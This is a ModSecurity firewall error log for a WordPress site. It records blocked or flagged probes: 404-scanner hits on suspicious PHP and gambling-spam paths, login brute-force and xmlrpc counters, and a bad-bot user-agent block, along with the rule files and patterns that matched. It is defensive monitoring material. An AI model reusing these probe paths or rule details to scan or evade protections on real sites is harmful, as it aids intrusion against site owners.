[Sun Apr 26 09:29:18.313700 2026] [:error] [pid 22572:tid 22579] [client 20.203.160.110:25185] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1mrX.php"] [unique_id "ae1qbtXOViWCFU-pZzCUAQAAAUE"]
[Sun Apr 26 09:29:19.893302 2026] [:error] [pid 22573:tid 22628] [client 20.203.160.110:45615] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1mrX.php"] [unique_id "ae1qb3B3EmQlD4yKUt9JMAAAAZU"]
[Sun Apr 26 09:29:22.513481 2026] [:error] [pid 8390:tid 8475] [client 20.203.160.110:50735] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1mrX.php"] [unique_id "ae1qcoGPtFK_i9p5yxRfkAAAAJg"]
[Sun Apr 26 09:29:26.889919 2026] [:error] [pid 22572:tid 22597] [client 20.203.160.110:24525] [client 20.203.160.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x402.php"] [unique_id "ae1qdtXOViWCFU-pZzCUGAAAAVM"]
[Sun Apr 26 10:22:47.723317 2026] [:error] [pid 8390:tid 8459] [client 170.187.202.234:37556] [client 170.187.202.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.187.202.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae1294GPtFK_i9p5yxR7SwAAAIg"]
[Sun Apr 26 10:22:49.605796 2026] [:error] [pid 8390:tid 8455] [client 170.187.202.234:37556] [client 170.187.202.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.187.202.234, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae12-YGPtFK_i9p5yxR7VgAAAIQ"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 26 10:55:16.714423 2026] [:error] [pid 22572:tid 22585] [client 108.167.149.251:31218] [client 108.167.149.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.149.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae1-lNXOViWCFU-pZzCzIAAAAUc"]
[Sun Apr 26 10:55:22.095027 2026] [:error] [pid 22573:tid 22609] [client 108.167.149.251:34926] [client 108.167.149.251] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 108.167.149.251, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae1-mnB3EmQlD4yKUt9t9AAAAYM"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 26 11:38:19.801602 2026] [:error] [pid 8390:tid 8471] [client 163.47.203.80:51202] [client 163.47.203.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.47.203.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2Iq4GPtFK_i9p5yxSonwAAAJQ"]
[Sun Apr 26 11:38:22.136831 2026] [:error] [pid 8390:tid 8451] [client 163.47.203.80:51202] [client 163.47.203.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 163.47.203.80, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2IroGPtFK_i9p5yxSopAAAAIA"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 26 12:31:00.564829 2026] [:error] [pid 22573:tid 22626] [client 162.220.234.129:39034] [client 162.220.234.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.220.234.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2VBHB3EmQlD4yKUt-LpwAAAZM"]
[Sun Apr 26 12:31:02.400829 2026] [:error] [pid 22573:tid 22622] [client 162.220.234.129:39034] [client 162.220.234.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.220.234.129, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2VBnB3EmQlD4yKUt-LqAAAAY8"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 26 12:44:46.386483 2026] [:error] [pid 22573:tid 22608] [client 65.254.225.226:48614] [client 65.254.225.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2YPnB3EmQlD4yKUt-OkQAAAYI"]
[Sun Apr 26 12:44:48.482386 2026] [:error] [pid 22573:tid 22616] [client 65.254.225.226:48614] [client 65.254.225.226] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.254.225.226, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2YQHB3EmQlD4yKUt-OkgAAAYk"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 26 12:52:49.260557 2026] [:error] [pid 8385:tid 8426] [client 202.184.73.170:44970] [client 202.184.73.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.184.73.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2aITOy7_J84Wx3-oyhlwAAAEI"]
[Sun Apr 26 12:52:51.060091 2026] [:error] [pid 8385:tid 8447] [client 202.184.73.170:44970] [client 202.184.73.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.184.73.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2aIzOy7_J84Wx3-oyhmQAAAFc"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 26 13:44:07.976471 2026] [:error] [pid 13137:tid 13142] [client 175.6.217.4:33840] [client 175.6.217.4] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae2mJ90RB4J0o4h5neE2NAAAAgI"]
[Sun Apr 26 13:51:55.332864 2026] [:error] [pid 22573:tid 22607] [client 77.68.103.59:32912] [client 77.68.103.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.103.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2n-3B3EmQlD4yKUt-f2QAAAYE"]
[Sun Apr 26 13:51:57.140718 2026] [:error] [pid 22573:tid 22615] [client 77.68.103.59:32912] [client 77.68.103.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.68.103.59, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "ae2n_XB3EmQlD4yKUt-f2wAAAYg"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 26 15:58:57.134438 2026] [:error] [pid 8385:tid 8429] [client 43.155.129.131:41722] [client 43.155.129.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae3FwTOy7_J84Wx3-oy2IAAAAEU"]
[Sun Apr 26 17:37:36.974724 2026] [:error] [pid 8390:tid 8458] [client 43.130.106.18:59808] [client 43.130.106.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae3c4IGPtFK_i9p5yxQkPgAAAIc"]
[Sun Apr 26 20:01:46.928768 2026] [:error] [pid 8390:tid 8469] [client 14.228.250.217:35350] [client 14.228.250.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 14.228.250.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae3-qoGPtFK_i9p5yxRbmAAAAJI"]
[Sun Apr 26 20:41:36.924766 2026] [:error] [pid 22573:tid 22608] [client 173.239.218.40:40559] [client 173.239.218.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/buttons.css"] [unique_id "ae4IAHB3EmQlD4yKUt8B0AAAAYI"]
[Sun Apr 26 21:15:08.711511 2026] [:error] [pid 22573:tid 22622] [client 158.62.53.98:4640] [client 158.62.53.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.62.53.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4P3HB3EmQlD4yKUt8JmAAAAY8"]
[Sun Apr 26 21:15:19.123868 2026] [:error] [pid 8390:tid 8454] [client 158.62.53.98:62518] [client 158.62.53.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.62.53.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4P54GPtFK_i9p5yxR5lQAAAIM"]
[Sun Apr 26 21:15:29.784260 2026] [:error] [pid 8390:tid 8459] [client 158.62.53.98:59362] [client 158.62.53.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.62.53.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4P8YGPtFK_i9p5yxR5twAAAIg"]
[Sun Apr 26 21:15:40.466447 2026] [:error] [pid 22573:tid 22623] [client 158.62.53.98:58892] [client 158.62.53.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.62.53.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4P_HB3EmQlD4yKUt8JvgAAAZA"]
[Sun Apr 26 21:15:51.118821 2026] [:error] [pid 8390:tid 8473] [client 158.62.53.98:62573] [client 158.62.53.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 158.62.53.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4QB4GPtFK_i9p5yxR59wAAAJY"]
[Sun Apr 26 21:33:06.863601 2026] [:error] [pid 8385:tid 8441] [client 41.59.118.123:60306] [client 41.59.118.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.118.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4UEjOy7_J84Wx3-ozZ-gAAAFE"]
[Sun Apr 26 21:33:16.671609 2026] [:error] [pid 16515:tid 16535] [client 41.59.118.123:60736] [client 41.59.118.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.118.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4UHFtDrUmgHSvpuLxL1QAAAlE"]
[Sun Apr 26 21:33:27.198682 2026] [:error] [pid 22572:tid 22596] [client 41.59.118.123:61201] [client 41.59.118.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.118.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4UJ9XOViWCFU-pZzA3FwAAAVI"]
[Sun Apr 26 21:33:37.666671 2026] [:error] [pid 8383:tid 8418] [client 41.59.118.123:61600] [client 41.59.118.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.118.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4UMdFa2S3EsATMdWNpQgAAABU"]
[Sun Apr 26 21:33:48.184714 2026] [:error] [pid 22573:tid 22618] [client 41.59.118.123:62005] [client 41.59.118.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.59.118.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "ae4UPHB3EmQlD4yKUt8NmAAAAYs"]
[Sun Apr 26 23:37:27.356783 2026] [:error] [pid 13197:tid 13248] [client 43.157.153.236:53504] [client 43.157.153.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "ae4xN93kktFKdSxTrBvpOAAAAtA"]
[Mon Apr 27 03:25:08.004398 2026] [:error] [pid 8491:tid 8504] [client 89.163.146.197:57004] [client 89.163.146.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/txets.php"] [unique_id "ae5mlCq7I7e6CJooQM1NEQAAAMU"], referer: www.google.com
[Mon Apr 27 03:38:25.097271 2026] [:error] [pid 20169:tid 20236] [client 122.51.236.174:36108] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ae5psdYTSNS52VFhNr9PFgAAAEM"]
[Mon Apr 27 03:52:00.850888 2026] [:error] [pid 57641:tid 57685] [client 95.217.109.26:1518] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "ae5s4AvMJZl-rLCP5-xxVQAAAEc"]
[Mon Apr 27 03:52:03.121096 2026] [:error] [pid 57642:tid 57705] [client 95.217.109.26:1526] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "ae5s43eVE4AIn9J9f8vSQQAAAIA"]
[Mon Apr 27 03:52:05.117478 2026] [:error] [pid 57642:tid 57712] [client 95.217.109.26:1534] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "ae5s5XeVE4AIn9J9f8vSQwAAAIc"]
[Mon Apr 27 03:52:07.115428 2026] [:error] [pid 57639:tid 57675] [client 95.217.109.26:14420] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "ae5s51jZKBsyFQNs1C0yVQAAABg"]
[Mon Apr 27 03:52:09.060394 2026] [:error] [pid 57732:tid 57756] [client 95.217.109.26:14428] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "ae5s6QtZlxLLBYGgnwXFYgAAANY"]
[Mon Apr 27 03:52:11.884831 2026] [:error] [pid 57732:tid 57734] [client 95.217.109.26:14438] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "ae5s6wtZlxLLBYGgnwXFaAAAAMA"]
[Mon Apr 27 03:52:13.776151 2026] [:error] [pid 57732:tid 57745] [client 95.217.109.26:14442] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "ae5s7QtZlxLLBYGgnwXFbgAAAMs"]
[Mon Apr 27 03:52:15.883945 2026] [:error] [pid 57732:tid 57751] [client 95.217.109.26:14444] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "ae5s7wtZlxLLBYGgnwXFeAAAANE"]
[Mon Apr 27 03:52:17.890787 2026] [:error] [pid 57732:tid 57743] [client 95.217.109.26:10860] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "ae5s8QtZlxLLBYGgnwXFfwAAAMk"]
[Mon Apr 27 03:52:20.013458 2026] [:error] [pid 57642:tid 57718] [client 95.217.109.26:10866] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "ae5s9HeVE4AIn9J9f8vSYgAAAI0"]
[Mon Apr 27 03:52:22.119845 2026] [:error] [pid 57641:tid 57679] [client 95.217.109.26:10870] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "ae5s9gvMJZl-rLCP5-xxigAAAEE"]
[Mon Apr 27 03:52:24.145341 2026] [:error] [pid 57732:tid 57753] [client 95.217.109.26:10874] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "ae5s-AtZlxLLBYGgnwXFhAAAANM"]
[Mon Apr 27 03:52:26.142964 2026] [:error] [pid 57641:tid 57693] [client 95.217.109.26:10888] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "ae5s-gvMJZl-rLCP5-xxmAAAAE8"]
[Mon Apr 27 03:52:28.164846 2026] [:error] [pid 57639:tid 57670] [client 95.217.109.26:46494] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "ae5s_FjZKBsyFQNs1C0ycgAAABM"]
[Mon Apr 27 03:52:30.145420 2026] [:error] [pid 57732:tid 57758] [client 95.217.109.26:46500] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "ae5s_gtZlxLLBYGgnwXFkgAAANg"]
[Mon Apr 27 03:52:32.320952 2026] [:error] [pid 57732:tid 57755] [client 95.217.109.26:46514] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20game%20666.aspx"] [unique_id "ae5tAAtZlxLLBYGgnwXFlgAAANU"]
[Mon Apr 27 03:52:41.973984 2026] [:error] [pid 57732:tid 57746] [client 95.217.109.26:61212] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20joker.aspx"] [unique_id "ae5tCQtZlxLLBYGgnwXFwAAAAMw"]
[Mon Apr 27 03:52:43.877600 2026] [:error] [pid 57639:tid 57674] [client 95.217.109.26:61224] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20online.aspx"] [unique_id "ae5tC1jZKBsyFQNs1C0yiAAAABc"]
